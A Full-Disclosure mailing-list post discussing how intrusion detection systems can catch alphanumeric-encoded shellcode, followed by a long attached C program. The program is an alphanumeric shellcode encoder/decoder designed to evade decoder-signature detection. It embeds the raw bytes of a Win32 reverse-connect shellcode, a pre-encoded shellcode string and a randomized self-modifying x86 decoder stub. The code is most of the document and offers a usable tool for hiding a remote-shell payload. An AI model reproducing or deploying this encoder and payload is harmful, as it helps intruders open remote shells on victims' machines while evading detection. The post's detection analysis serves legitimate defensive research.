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[Full-disclosure] Alphanumeric Shellcode Encoding and Detection



Hello Full-Disclosure,

I'd like to share with you some of the work I've done researching alphanumeric 
shellcode detection.
Although alphanumeric shellcode encoding isn't new, I believe this post will 
present you with some value.

There are two main reasons why someone might use an alphanumeric shellcode 
encoder -
  1. To encode bytes not allowed by the vulnerable application
  2. To evade detection by an Intrusion Detection system.
Even though the first case is arguably the more common occurrence, and even 
though there might be more room for improvement there, I have focused my work 
on the second.

You will find attached an alphanumeric shellcode encoder that makes the decoder 
routine detection more difficult.
It has some cool new features, but again, the purpose of this post is not that 
much about the new decoder, but rather on the subject of using alphanumeric 
shellcodes to evade detection, and investigating generic detection 
possibilities.

I'm aware of several methods for detecting shellcode executing attacks:
 - Detect attacks by understanding the vulnerable protocol fields/lengths and 
checking the supplied values This is straight forward but has little (or 
nothing) to do with alphanumeric shellcode encoding.
The IDS is updated with new signatures for the new threats. It would be hard 
for an attacker to evade detection if the IDS has properly added a signature 
against the vulnerability itself, and the IDS is not vulnerable to evasion 
attacks at a lower protocol layer. The downside is, you can only detect what 
you know, so the IDS has to be constantly updated with signatures for the new 
threats.

 - Detect attacks by searching for known shellcode patterns This is also 
straight forward. The IDS is updated with signatures for all known shellcode 
patterns.
The advantage of doing this is that due to the skills required and the time 
consuming process involved, the attacker is less likely to implement his own 
custom shellcode. This allows the IDS to detect unknown attacks without 
updating it with new signatures.
Of course it does not remove the IDS vendor from the responsibility of adding 
new signatures to detect new threats, but it adds another line of defense.
I listed above a couple of cases for which attackers may need to encode their 
shellcode using an alphanumeric encoder. Evading this detection is one of them, 
and to counter that, we have yet another line of defense –

 - Detect attacks by searching for known encoded shellcode's decoder routine 
patterns Since the encoded shellcode must include a decoder routine that will 
be used to decode the encoded data (and then execute it), the IDS is updated 
with signatures for the known decoder routines. This adds an important value to 
the previous detection method – But it still leaves a hole - encoders that 
generate difficult to detect decoder routines (like the tool I have attached).
Emulation, or profiling may be used to detect these generically, but since the 
IDS does not know where to start scanning, and since the IDS cannot perform 
these tests on all bytes of all streams (costly in terms of CPU), it may want 
to -

 - Detect attacks by searching for known shellcode's encoded data This requires 
updating the IDS with smart signatures that can decode alphanumeric streams and 
compare decoded data against known shellcode patterns. It requires updating the 
IDS with new decoding algorithms.
Assuming the use of alphanumeric encoders/decoders and their limitation of 
using a limited instruction set, there is a difficulty of coming up with new 
encoding schemes and this detection method really adds a great value to the IDS.

The previous shellcode encoder Matt Conover, Soren Macbeth and I wrote back in 
2004 used a fixed key throughout the shellcode.
It may seem that detecting the encoded data would be easy with a fixed key and 
a known shellcode pattern, but since you have 62 different keys to choose from 
(assuming alphanumeric char-set composes 0-9A-Za-z), you would need to check 
each known pattern against 62 different keys.

In that sense, the previous work would be of greater use for an attacker to 
evade this detection method, but on the other hand, the previous mentioned 
detection method would detect the decoder routine, as it is not that stealthy.

The presented decoder is IMO harder to detect yet detection of the encoded data 
is much simpler.
The attacker would be faced with this tradeoff, and an IDS that implements all 
of the above techniques, would provide IMO good defense against known and 
unknown threats involving shellcode execution.

There might be an encoding/decoding technique that does not exhibit this 
tradeoff, for example, appending a random fixed number of bytes between encoded 
data bytes that the decoder could skip.

I haven't yet tried implementing this due to time constraints, but I believe it 
is possible.

I have attached the new encoder/decoder code, as well as a function that may be 
used to scan alphanumeric strings.

This function should not be used in an IDS product for the following reasons:
1. It uses a naive search algorithm.
2. It scans a buffer and not a stream.
3. It rescans the entire buffer with each decoder.

IMO, implementing a multi-pattern type Boyer-Moore algorithm, such as the one 
presented by Sun Wu and Udi Manber, is a very good IPS solution for the 
following reasons:
1. The number of skip bytes is double the pattern length.
2. Since we are looking for a known part of a known shellcode, we know the 
shellcode length - hence - 3. On a non-alphanumeric byte we can skip double the 
length of the shellcode minus the position of the pattern within the shellcode.
(basically we can add the knowledge of the original shellcode length to the 
skip table)

I have implemented a single pattern Boyer-Moore algorithm implementation that 
handles a file stream but as it does not satisfy the requirements listed above, 
and in order to reduce the size of the code I have not included it here. If you 
are interested, contact me privately.

Also, please feel free to e-mail me with any questions or comments.

I'd like to thank Matt Conover for reviewing my work and giving me good 
feedback.

Regards,
Avri
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/*
/*
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    Alphanumeric Shellcode Encoder Decoder
    Copyright © 1985-2008 Avri Schneider - Aladdin Knowledge Systems, Inc. All 
rights reserved.

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see 
<http://www.gnu.org/licenses/gpl-3.0.html>.

     +-----------+
      WORKS CITED
     +-----------+
    
+--------------------------------------------------------------------------------------------------+
    |Matt Conover, Soren Macbeth, Avri Schneider 05 October 2004                
                       |
    |Encode2Alnum (polymorphic alphanumeric decoder/encoder)                    
                       |
    |Full-Disclosure 
<http://lists.grok.org.uk/pipermail/full-disclosure/2004-October/027147.html>   
  |
    |                                                                           
                       |
    |CLET Team. Aug. 2003                                                       
                       |
    |Polymorphic Shellcode Engine                                               
                       |
    |Phrack <http://www.phrack.org/show.php?p=61&a=9>                           
                       |
    |                                                                           
                       |
    |Ionescu, Costin. 1 July 2003                                               
                       |
    |Re: GetPC code (was: Shellcode from ASCII)                                 
                       |
    |Vuln-Dev <http://www.securityfocus.com/archive/82/327348>                  
                       |
    |                                                                           
                       |
    |rix. Aug. 2001                                                             
                       |
    |Writing ia32 alphanumeric shellcodes                                       
                       |
    |Phrack <http://www.phrack.org/show.php?p=57&a=15>                          
                       |
    |                                                                           
                       |
    |Wever, Berend-Jan. 28 Jan. 2001                                            
                       |
    |Alphanumeric GetPC code                                                    
                       |
    |Vuln-Dev <http://www.securityfocus.com/archive/82/351528>                  
                       |
    |ALPHA3 <http://skypher.com/wiki/index.php?title=ALPHA3>                    
                       |
    
+--------------------------------------------------------------------------------------------------+
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/
#include <time.h>
#include <stdio.h>
#include <windows.h>

#define MAX_BYTES                            0x100
#define MAX_ENCODED_SHELLCODE                2000 //this will be allocated on 
the stack
#define MIN_IP_STR_LEN                       7
#define MAX_IP_STR_LEN                       15

#define OFFSET_PUSH_DWORD1                   0
#define OFFSET_PUSH_DWORD2                   1
#define OFFSET_PUSH_DWORD3                   4
#define OFFSET_PUSH_DWORD4                   12
#define OFFSET_RANDOMIZED_DECODER_HEAD       14
#define SIZE_RANDOMIZED_DECODER_HEAD         16
BYTE EncodedShellcode[] = // encoded 336 bytes
        "PZhUQPTX5UQPTHHH4D0B8RYkA9YA3A9A2B90B9BhPTRWX5PTRW4r8B9ugxPqy8xO"
        "wck4WTyhlLlUjyhukHqGCixVLt4UTCBRwsV3pRod8OLMKO9FXJVTJJbJX4gsVXAt"
        "Q3ukAxFmVIw7HyBfDyNv5zXqg4PQeTxZJLm56vRjSidjSz75mHb2RL5Hl30tUmnH"
        "HtXEv7oZVdiEv1QwWijcgVk4CZn7NI3uRai32AZ7FS0Iq1cwWc5T5RlnTIiKJVmq"
        "4T4MElucobfP4vWyB0OfB34JRJ9T4zjLlbKmlk7jTicj11869F001uAdTZKNJ7wL"
        "mOv5mLlGPKFLtNI2525WhktKDO0NIlseHIuJ33xv7xGQAW55eZKXHw78zfvCI2U0"
        "9Ulw5ZZhynmxG7JZZgJAYbg1MEp5QcOv7AYkYfcHQDWVMlJnzOSh8nzg1NZZn5Px"
        "11U5INVEtvZOS1E094HqmbB6K1MfRIq7KQyNOeL7NHI1Xnwhyhy69bg2bTexGnkc"
        "CEt90vn3DaFxGaFuRIPg0NK40kdg0L9ImaFbGy1Wl7JyGeJByHdfRCSYzvCzVa2v"
        "RtQWG5lxRMN1CZREvyKFvfwij3X2P81J1wk9ZLmGAqxGPuQv7RBX411iaWKCLGnD"
        "kwRZKREaRis5V7c5ILxKfAx6MbH40T53PnX9ZwSWtYzbHwCzkS0Ev5iVmLmS3xSk"
        "1telLPYuGyNvX1TyJ3yLdOwckr";

// example: make encoder choose more uppercase bytes...
#define ADDITIONAL_CHARSET                   "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

#define ALNUM_CHARSET    ADDITIONAL_CHARSET  
"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" // <--- 
allowed charset
                                                                                
                              //      feel free to
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////change
 - YMMV
#define REGISTER_WITH_ADDRESS_OF_SHELLCODE   eax // <--- change this to the 
register holding the address of the decoder////////////
#define _Q(str) #str
#define Q(str) _Q(str)           
#define P(str) #str ##" // <--- buffer offset\n"## _Q(str)
///////////////////////////////////
#define CONNECT_BACK_SHELLCODE   //
//#undef  CONNECT_BACK_SHELLCODE //undefine CONNECT_BACK_SHELLCODE to use your 
own - and place it in shellcode[] >-----------------.
                                 
///////////////////////////////////////////////////////////////////             
                  |
int main();                                                                     
                  //                               |
UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT 
known_pattern_length); //                               |
UCHAR get_push_register_instruction(UCHAR *reg);                                
                  //                               |
UCHAR get_random_alnum_value();                                                 
                  //                               |
UCHAR get_random_alnum_push_dword_opcode();                                     
                  //                               |
UCHAR *get_nop_slide(UINT size, UINT slide);                                    
                  ///////                          |
UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, 
UINT str_len, UINT slide);//                          |
UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT 
str_len, UINT slide);   //                          |
UCHAR *shuffle(UCHAR str[], UINT length);                                       
                  ///////                          |
DWORD my_htonl(DWORD dw_in);                                                    
                  //                               |
DWORD ip_str_to_dw(UCHAR *str);                                                 
                  //                               |
BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key);     
                  //                               |
BOOL is_alnum(UCHAR c);                                                         
                  //                               |
BOOL str_is_alnum(UCHAR *str);                                                  
                  //                               |
UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int 
index);                  //                               |
UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, 
UCHAR jne_xor1);  //                               |
struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c);          
                  //                               |
struct xor2_key *choose_random_node(struct xor2_key *head);                     
                  //                               |
void free_p_xor2_key(struct xor2_key *node);                                    
                  //                               |
                                                                                
                  //                               |
struct xor2_key {                                                               
                  //                               |
    UCHAR xor2;                                                                 
                  //                               |
    UCHAR key;                                                                  
                  //                               |
    struct xor2_key *prev;                                                      
                  //                               |
    struct xor2_key *next;                                                      
                  //                               |
} xor2_key;                                                                     
                  //                               |
                                                                                
                  //                               |
                                                                                
                  //                               |
//  Title:      Win32 Reverse Connect                                           
                  //                               |
//  Platforms:  Windows NT 4.0, Windows 2000, Windows XP, Windows 2003          
                  //                               |
//  Author:     hdm[at]metasploit.com                                           
                  //                               |
#ifdef CONNECT_BACK_SHELLCODE                                                   
                  //                               |
    #define OFFSET_IP_ADDRESS                    154                            
                  //                               |
    #define OFFSET_TCP_PORT_NUMBER               159                            
                  //                               |
    #define IP_ADDRESS                           "127.0.0.1"                    
                  //                               |
    #define TCP_PORT_NUMBER                      123                            
                  //                               |
    DWORD ip_address;                                                           
                  //                               |
    UCHAR shellcode[] =                                                         
                  //                               |
                    
"\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa"            
//                               |
                    
"\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2"            
//                               |
                    
"\x73\xad\xd9\x05\xce\x72\xfe\xb3\x16\x57\x53\x32\x5f\x33\x32\x2e"            
//                               |
                    
"\x44\x4c\x4c\x00\x01\x5b\x54\x89\xe5\x89\x5d\x00\x6a\x30\x59\x64"            
//                               |
                    
"\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x58\x08\xeb\x0c\x8d\x57"            
//                               |
                    
"\x24\x51\x52\xff\xd0\x89\xc3\x59\xeb\x10\x6a\x08\x5e\x01\xee\x6a"            
//                               |
                    
"\x08\x59\x8b\x7d\x00\x80\xf9\x04\x74\xe4\x51\x53\xff\x34\x8f\xe8"            
//                               |
                    
"\x83\x00\x00\x00\x59\x89\x04\x8e\xe2\xeb\x31\xff\x66\x81\xec\x90"            
//                               |
                    
"\x01\x54\x68\x01\x01\x00\x00\xff\x55\x18\x57\x57\x57\x57\x47\x57"            
//                               |
                    "\x47\x57\xff\x55\x14\x89\xc3\x31\xff\x68"                  
                  //                               |
                    "IPIP" // I.P. address                                      
                  //                               |
                    "\x68"                                                      
                  //                               |
                    "PORT" // TCP port number                                   
                  //                               |
                    
"\x89\xe1\x6a\x10\x51\x53\xff\x55\x10\x85\xc0\x75\x44\x8d\x3c\x24"            
//                               |
                    
"\x31\xc0\x6a\x15\x59\xf3\xab\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d"            
//                               |
                    
"\x89\x5c\x24\x48\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d\x44\x24\x10"            
//                               |
                    
"\x54\x50\x51\x51\x51\x41\x51\x49\x51\x51\xff\x75\x00\x51\xff\x55"            
//                               |
                    
"\x28\x89\xe1\x68\xff\xff\xff\xff\xff\x31\xff\x55\x24\x57\xff\x55"            
//                               |
                    
"\x0c\xff\x55\x20\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c\x8b"            
//                               |
                    
"\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32\x49"            
//                               |
                    
"\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07\xc1"            
//                               |
                    
"\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24\x01"            
//                               |
                    
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\xeb"            
//                               |
                    "\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";         
                  //                               |
#else                                                         
//////////////////////////////////////                               |
    UCHAR shellcode[] = "\xCC YOUR SHELLCODE GOES HERE \xCC"; // 
<----------------- here ------------------------------------------'
#endif                                                        //
DWORD size = sizeof(shellcode)-1;                             //
                                                              //
int main() {                                                  
/////////////////////////////////////////////////////////
    //(decoder address is in ecx when decoder starts)                           
                                     //
    UCHAR PUSH_REGISTER_WITH_DECODER_ADDRESS = 
get_push_register_instruction(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)); // 
>----------.
//                                                                              
                                     //            |
#define END_OF_ENCODED_SHELLCODE    'A','L','D','N' // this is the terminating 
string of the encoded shellcode       //            |
    UCHAR str_end_of_encoded_shellcode[] = {END_OF_ENCODED_SHELLCODE}; 
////////////////////////////////////////////////            |
    UCHAR xor_al1                        =get_random_alnum_value();    // this 
is used to zero out AL the first time               |
    UCHAR xor_al2                        =get_random_alnum_value();    // this 
is used to zero out AL the second time              |
    int offset_imul_key                 = '\xC1';////////////////////////       
                                                   |
    int jne_xor1                        = '\xC2';//                 
>---------------------------------------------------------.    |
    int jne_xor2                        = '\xC3';//            
>--------------------------------------------------------------|    |
                                                 // you would need to play with 
these two values if you want to reduce        |    |
                                                 // the size of the NOP slides 
- they obviously need to stay alnum.           |    |
                                                 // You could also play with 
the value of AL before the XOR is done           |    |
                                                 // to get your desired 
negative offset. keep in mind that it will cost       |    |
                                                 // you instructions to get al 
to the value you want (if you use xor of       |    |
                                                 // two alphanumeric bytes, you 
would need to push first alphanumeric         |    |
                                                 // char to the stack, pop eax, 
then xor it with it's alnum complement)       |    |
                                                 // This playing around would 
result in an even harder to detect decoder      |    |
                                                 // as the offsets would be 
different                                         |    |
    int size_decoder                    ='\xC4'; //                             
                                              |    |
    int half_size_decoder               ='\xC5'; 
////////////////////////////////////////////////////////////////////         |  
  |
    UCHAR imul_instruction_1            ='\x6B';                                
                                   //         |    |
    UCHAR imul_instruction_2            ='\x41';                                
                                   //         |    |
    UCHAR imul_instruction_3            ='\xC6'; //size of decoder+1            
                                   //         |    |
    UCHAR imul_instruction_4            ='\xC7'; //initial key (random alnum)   
                                   //         |    |
    //                                                                          
                                   //         |    |
    UINT column=0, i=0;                                                         
      ///////////////////////////////         |    |
    UCHAR *alnum = ALNUM_CHARSET;                                               
      //                                      |    |
    UCHAR *p_alnum = alnum;                                                     
      //                                      |    |
    UCHAR decoder[] =                                                           
      //                                      |    |
    {   
////////////////////////////////////////////////////////////////////////////////
                                      |    |
        //                                                                      
                                              |    |
        //[step_1] -- multiply first encoded byte with key                      
                                              |    |
        //[step_2] -- xor result of step_1 with second encoded byte to get the 
decoded byte                                   |    |
        //                                                                      
                                              |    |
        // Each binary byte is encoded into three alphanumeric bytes.           
                                              |    |
        // The first byte multipled by the third byte xor'ed against the second 
byte yeilds the original                      |    |
        // binary byte.                                                         
                                              |    |
        //                                                                      
                                              |    |
        // TODO:                                                                
                                              |    |
        //    .--(first byte  ^ second byte) * third byte                       
                                              |    |
        //    '--(second byte ^  first byte) * third byte                       
                                              |    |
        //                                                                      
                                              |    |
        //    .--(first byte  ^  third byte) * second byte                      
                                              |    |
        //    '--(third byte  ^  first byte) * second byte                      
                                              |    |
        //                                                                      
                                              |    |
        //    .--(second byte ^  third byte) * first byte                       
                                              |    |
        //    '--(third byte  ^ second byte) * first byte                       
                                              |    |
        //                                                                      
                                              |    |
        //    .--(first byte  * second byte) ^ third byte                       
                                              |    |
        //    '--(second byte *  first byte) ^ third byte                       
                                              |    |
        //                                                                      
                                              |    |
        //    .--(first byte  *  third byte) ^ second byte <-- decoder/encoder 
implemented                                    |    |
        //    '--(third byte  *  first byte) ^ second byte <-- decoder 
implemented (same encoder)                             |    |
        //                                                                      
                                              |    |
        //    .--(second byte *  third byte) ^ first byte                       
                                              |    |
        //    '--(third byte  * second byte) ^ first byte                       
                                              |    |
        //                                                                      
                                              |    |
        //                                                                      
                                              |    |
        // The above is divided into pairs, each pair has the same values (in 
parenthesis) just at different offsets,         |    |
        // and we can switch them around with no effect. Each option requires a 
different decoder, but each pair can use the  |    |
        // same encoder.                                                        
                                              |    |
        //                                                                      
                                              |    |
            /////////// DECODER HEAD (will be randomized by sliding 
instructions) //////// >----------------------------------|----|---.
   /* 1*/   '\x50',                                   //push ???  (this can 
change)     // [eax = address of decoder]------+  |    |   |
   /* 2*/   '\x50',                                   //push ???  (this can 
change)     // [ecx = address of decoder]------+  |    |   |
   /* 3*/   PUSH_REGISTER_WITH_DECODER_ADDRESS,       //push reg  (decoder 
address)     // [edx = address of decoder]------+  |    |   |
   /* 4*/   PUSH_REGISTER_WITH_DECODER_ADDRESS,       //push reg  (base offset 
for cmp) // [ebx = address of decoder]------+  |    |   |
   /* 5*/   '\x50',                                   //push ???  (this can 
change)     // [esp = address of decoder]------+  |    |   |
   /* 7*/   '\x6A', half_size_decoder,                //push 35h  (word offset 
for cmp) // [ebp = decoder size / 2]--------+  |    |   |
   /*12*/   '\x68', END_OF_ENCODED_SHELLCODE,          //push 
END_OF_ENCODED_SHELLCODE  // [esi = 4 bytes terminating key]>+  |    |   |
   /*13*/   '\x50',                                   //push ???  (this can 
change)     // [edi = address of decoder]------+  |    |   |
   /*14*/   '\x61',                                   //popad                   
        // [set all registers] <-----------'  |    |   |
   /*16*/   '\x6A', xor_al1, //last decoder byte=0xB1 //push XOR_AL1    
[JNE_XOR1^0xFF=al^JNE_XOR2=last byte==0xB1] >----.    |    |   |
   /*17*/   '\x58',                                   //pop  eax       
<-------------------------------------------------'    |    |   |
   /*19*/   '\x34', xor_al1,                          //xor  al,XOR_AL1        
[al = 0x00]                                    |    |   |
   /*20*/   '\x48',                                   //dec  eax               
[al = 0xFF] [you can play with AL here...]<----'    |   |
   /*22*/   '\x34', jne_xor1,                         //xor  al,JNE_XOR1        
    [al = 0xFF ^ JNE_XOR1]                         |   |
   /*25*/   '\x30', '\x42', size_decoder-1,           //xor  byte ptr 
[edx+size],al >--change-last-byte--.                         |   |
   /*26*/   '\x52',                                   //push edx     [save 
decoder address on stack]     |                         |   |
   /*27*/   '\x52',                                   //push edx     >----.     
                         |                         |   |
   /*28*/   '\x59',                                   //pop  ecx   <------'  
[ecx = address of decoder]  |                         |   |
   /*29*/   '\x47',                                   //inc edi    we increment 
ebx keeping the decoder  |                         |   |
   /*30*/   '\x43',                                   //inc ebx    length 
non-even (edi is unused)       |                         |   |
            //////////////// DECODER_LOOP_START 
///////////////////////////////////////////              |                      
   |   |
   /*31*/   '\x58',      //get address of the decoder //pop  eax                
          <---------. <--|-----------------.       |   |
   /*32*/   '\x52',      //save edx                   //push edx   [can use edx 
now]>---------------|----|---------------. |       |   |
   /*33*/   '\x51',      //save ecx                   //push ecx   [can use ecx 
now]   >------------|----|-------------. | |       |   |
   /*34*/   '\x50',      //save address of decoder    //push eax   [can use eax 
now]      >---------|----|-----------. | | |       |   |
   /*35*/   '\x50',      //save eax                   //push eax   >----.       
                    |    |           | | | |       |   |
   /*36*/   '\x5A',      //restore into edx           //pop  edx <------'       
                    |    |           | | | |       |   |
   /*38*/   '\x6A', xor_al2, //zero out al            //push XOR_AL2    [al = 
0] >----.             |    |           | | | |       |   |
   /*39*/   '\x58',          //zero out al            //pop  eax                
      |             |    |           | | | |       |   |
   /*41*/   '\x34', xor_al2, //zero out al            //xor  al,XOR_AL2    
<----------'             |    |           | | | |       |   |
   /*42*/   '\x50',      //save al on the stack (al=0)//push eax            
>-----------------.     |    |           | | | |       |   |
   /*45*/   '\x32', '\x42', offset_imul_key,          //xor  al,byte ptr 
[edx+off]            |     |    |           | | | |       |   |
   /*48*/   '\x30', '\x42', offset_imul_key,          //xor  byte ptr 
[edx+off],al >--this-zero's-the-key----.       | | | |       |   |
   /*49*/   '\x58', //restore al from the stack (al=0)//pop  eax       
<----------------------'     |    |   |       | | | |       |   |
   /*52*/   '\x32', '\x41', size_decoder+2, // get key in al  //xor  al,byte 
ptr [ecx+size+2]       |    |   |       | | | |       |   |
   /*55*/   '\x30', '\x42', offset_imul_key,          //xor  byte ptr 
[edx+off],al >---this-changes-the-key--|----.  | | | |       |   |
   /*56*/   '\x58',      //restore address of decoder //pop  eax  
<---------------------------------|----|---|----|--' | | |       |   |
   /*57*/   '\x59',      //restore ecx [word offset]  //pop  ecx     
<------------------------------|----|---|----|----' | |       |   |
   /*58*/   '\x5A',      //restore edx [byte offset]  //pop  edx        
<---------------------------|----|---|----|------' |       |   |
   /*59*/   '\x50',      //save address of decoder    //push eax  
>---------------------------------|----|---|----|--------'       |   |
            /////////// START NOP_SLIDE_1 
/////////////////////////////////////////////////         |    |   |    |       
         |   |
   /*60*/   '\x41',/////////////////////////////////////inc  
ecx///////////////////////////         |    |   |    |                |   |
   /*61*/   '\x49',/////////////////////////////////////dec  
ecx///////////////////////////         |    |   |    |                |   |
   /*62*/   '\x41',/////////////////////////////////////inc  
ecx///////////////////////////         |    |   |    |                |   |
   /*63*/   '\x49',/////////////////////////////////////dec  
ecx+-----------------------+//         |    |   |    |                |   |
   /*64*/   '\x41',//     IMUL can go here and bellow //inc  ecx|               
        |//         |    |   |    |                |   |
   /*65*/   '\x49',//                                 //dec  ecx|   16 bytes    
        |//         |    |   |    |                |   |
   /*66*/   '\x41',//                                 //inc  ecx|   NOP slide   
        |//         |    |   |    |                |   |
   /*67*/   '\x49',//                                 //dec  ecx|               
        |//         |    |   |    |                |   |
   /*68*/   '\x41',//                                 //inc  ebx| can mungle 
eax until  |//         |    |   |    |                |   |
   /*69*/   '\x49',//       will be randomized        //dec  ebx| 
IMUL_INSTRUCTION      |//         |    |   |    |                |   |
   /*70*/   '\x41',//                                 //inc  edx|               
        |//         |    |   |    |                |   |
   /*71*/   '\x49',//                                 //dec  edx|               
        |//         |    |   |    |                |   |
   /*72*/   '\x41',//                                 //inc  esi|               
        |//         |    |   |    |                |   |
   /*73*/   '\x49',//                                 //dec  
esi+-----------------------+//         |    |   |    |                |   |
   /*74*/   '\x41',//                                 //push 
eax///////////////////////////         |    |   |    |                |   |
   /*75*/   '\x49',//                                 //pop  
eax//////////////////////// //         |    |   |    |                |   |
            //////////// END NOP_SLIDE_1 
//////////////////////////////////////////////////         |    |   |    |      
          |   |
            //                                                                  
                    |    |   |    |                |   |
            // We can move around the IMUL_INSTRUCTION inside the NOP slides - 
but not before       |    |   |    |                |   |
            // MAX_OFFSET_OFFSET_IMUL i.e. we can't move it before the first 4 
bytes of NOP_SLIDE_1 |    |   |    |                |   |
            // or the offset will not be alphanumeric.                          
                    |    |   |    |                |   |
            //                                                                  
                    |    |   |    |                |   |
            // We need to move the IMUL_INSTRUCTION in two byte increments, as 
we may modify eax in |    |   |    |                |   |
            // NOP_SLIDE_1 and we can't change eax after the IMUL_INSTRUCTION 
(as the result goes   |    |   |    |                |   |
            // into eax) - this limitation can be overcome if we make sure not 
to modify eax after  |    |   |    |                |   |
            // the IMUL_INSTRUCTION - and it is easy enough, as we don't care 
about eax' value at   |    |   |    |                |   |
            // all - so we don't need to restore it. We can simply increment or 
decrement an unused |    |   |    |                |   |
            // register instead. We happen to have such a register - edi =]     
                    |    |   |    |                |   |
            //                                                                  
                    |    |   |    |                |   |
            // So in NOP_SLIDE_1, we can't use push eax;pop eax unless they 
will not be split by    |    |   |    |                |   |
            // the IMUL_INSTRUCTION - because we would need the value of eax 
after the imul, and    |    |   |    |                |   |
            // the pop eax would overwrite it                                   
                    |    |   |    |                |   |
            //                                                                  
                    |    |   |    |                |   |
            // But we could use a dec eax;inc edi or a dec eax;dec edi 
combinations (inc eax is not |    |   |    |                |   |
            // alphanumeric.).                                                  
                    |    |   |    |                |   |
            //                                                                  
                    |    |   |    |                |   |
            // -OBSOLETE-                                                       
                    |    |   |    |                |   |
            // I have set here the IMUL_INSTRUCTION between NOP_SLIDE_1 and 
NOP_SLIDE_2             |    |   |    |                |   |
            // If you wish to move it up, you will need to move it up by an 
even number of bytes.   |    |   |    |                |   |
            // You will then need to change OFFSET_OFFSET_IMUL accordingly      
                    |    |   |    |                |   |
            // (add the number of bytes to it)                                  
                    |    |   |    |                |   |
            // If you wish to move it down, you will need to move it down by an 
even number of      |    |   |    |                |   |
            // bytes.                                                           
                    |    |   |    |                |   |
            // You will then need to change OFFSET_OFFSET_IMUL accordingly      
                    |    |   |    |                |   |
            // (deduct the number of bytes from it)                             
                    |    |   |    |                |   |
            //                                                                  
                    |    |   |    |                |   |
            // TODO: make a routine that moves it around randomally between 
allowed values          |    |   |    |                |   |
            // and sets the proper offsets                                      
                    |    |   |    |                |   |
            // this routine should be called after the NOP slides have been 
randomized.             |    |   |    |                |   |
            //                                                                  
                    |    |   |    |                |   |
            ////////// START NOP_SLIDE_2 
////////////////////////////////////////////////////       |    |   |    |      
          |   |
   /*76*/   '\x41',//                                   //inc  
ecx///////////////////////////       |    |   |    |                |   |
   /*77*/   '\x49',//                                   //dec  
ecx///////////////////////////       |    |   |    |                |   |
   /*78*/   '\x41',//                                   //inc  
ebx///////////////////////////       |    |   |    |                |   |
   /*79*/   '\x49',//                                   //dec  
ebx+-----------------------+//       |    |   |    |                |   |
   /*80*/   '\x41',//      will be randomized           //inc  edx|             
          |//       |    |   |    |                |   |
   /*81*/   '\x49',//                                   //dec  edx|   12 bytes  
          |//       |    |   |    |                |   |
   /*82*/   '\x41',//                                   //inc  esi|   NOP slide 
          |//       |    |   |    |                |   |
   /*83*/   '\x49',//                                   //dec  esi|             
          |//       |    |   |    |                |   |
   /*84*/   '\x41',//                                   //push eax|             
          |//       |    |   |    |                |   |
   /*85*/   '\x49',//                                   //pop  eax|             
          |//       |    |   |    |                |   |
   /*86*/   '\x41',//                                   //inc  
ecx+-----------------------+//       |    |   |    |                |   |
   /*87*/   '\x49',//                                   //dec  
ecx///////////////////////////       |    |   |    |                |   |
            //           IMUL can go down to here                               
                    |    |   |    |                |   |
            /////////           [step_1]   //imul eax,dword ptr 
[ecx+size_decoder+1],45h            |    |   |    |                |   |
   /*91*/imul_instruction_1, imul_instruction_2, imul_instruction_3, 
imul_instruction_4,// <-This-key-will-change-'                |   |
            ////////// END 
NOP_SLIDE_2////////////////////////////////////////////////////          |    | 
                        |   |
   /*92 */  '\x41',      //ecx incremented once       //inc  ecx  
---------------------.            |    |                         |   |
   /*95 */  '\x33', '\x41', size_decoder,   //[step_2]//xor  eax,dword ptr 
[ecx+size]  | <--------------------store decoded        |   |
   /*98 */  '\x32', '\x42', size_decoder,             //xor  al,byte ptr 
[edx+size]    |ecx = ecx+2 |    |    byte                 |   |
   /*101*/  '\x30', '\x42', size_decoder,             //xor  byte ptr 
[edx+size],al    |            |    |(eax=result of IMUL)     |   |
   /*102*/  '\x41',      //ecx incremented twice      //inc  ecx  
---------------------'            |    |                         |   |
   /*103*/  '\x42',      //edx incremented once       //inc  edx                
        edx = edx+1 |    |                         |   |
   /*104*/  '\x45',      //ebp incremented once       //inc  ebp                
                    |    |                         |   |
   /*107*/  '\x39', '\x34', '\x6B',         //cmp  dword ptr [ebx+ebp*2],esi // 
check if we reached the end                        |   |
   /*109*/  '\x75', jne_xor2,               // <===0xB1   //jne  
DECODER_LOOP_START  >--------------' <--'                         |   |
            '\x00' // If you change the length of the decoder, the jne would 
need to jump to a different offset than 0xB1          |   |
    };//////////////////////////////////////////////////                        
                                                   |   |
    UINT shrink;                                      //                        
                                                   |   |
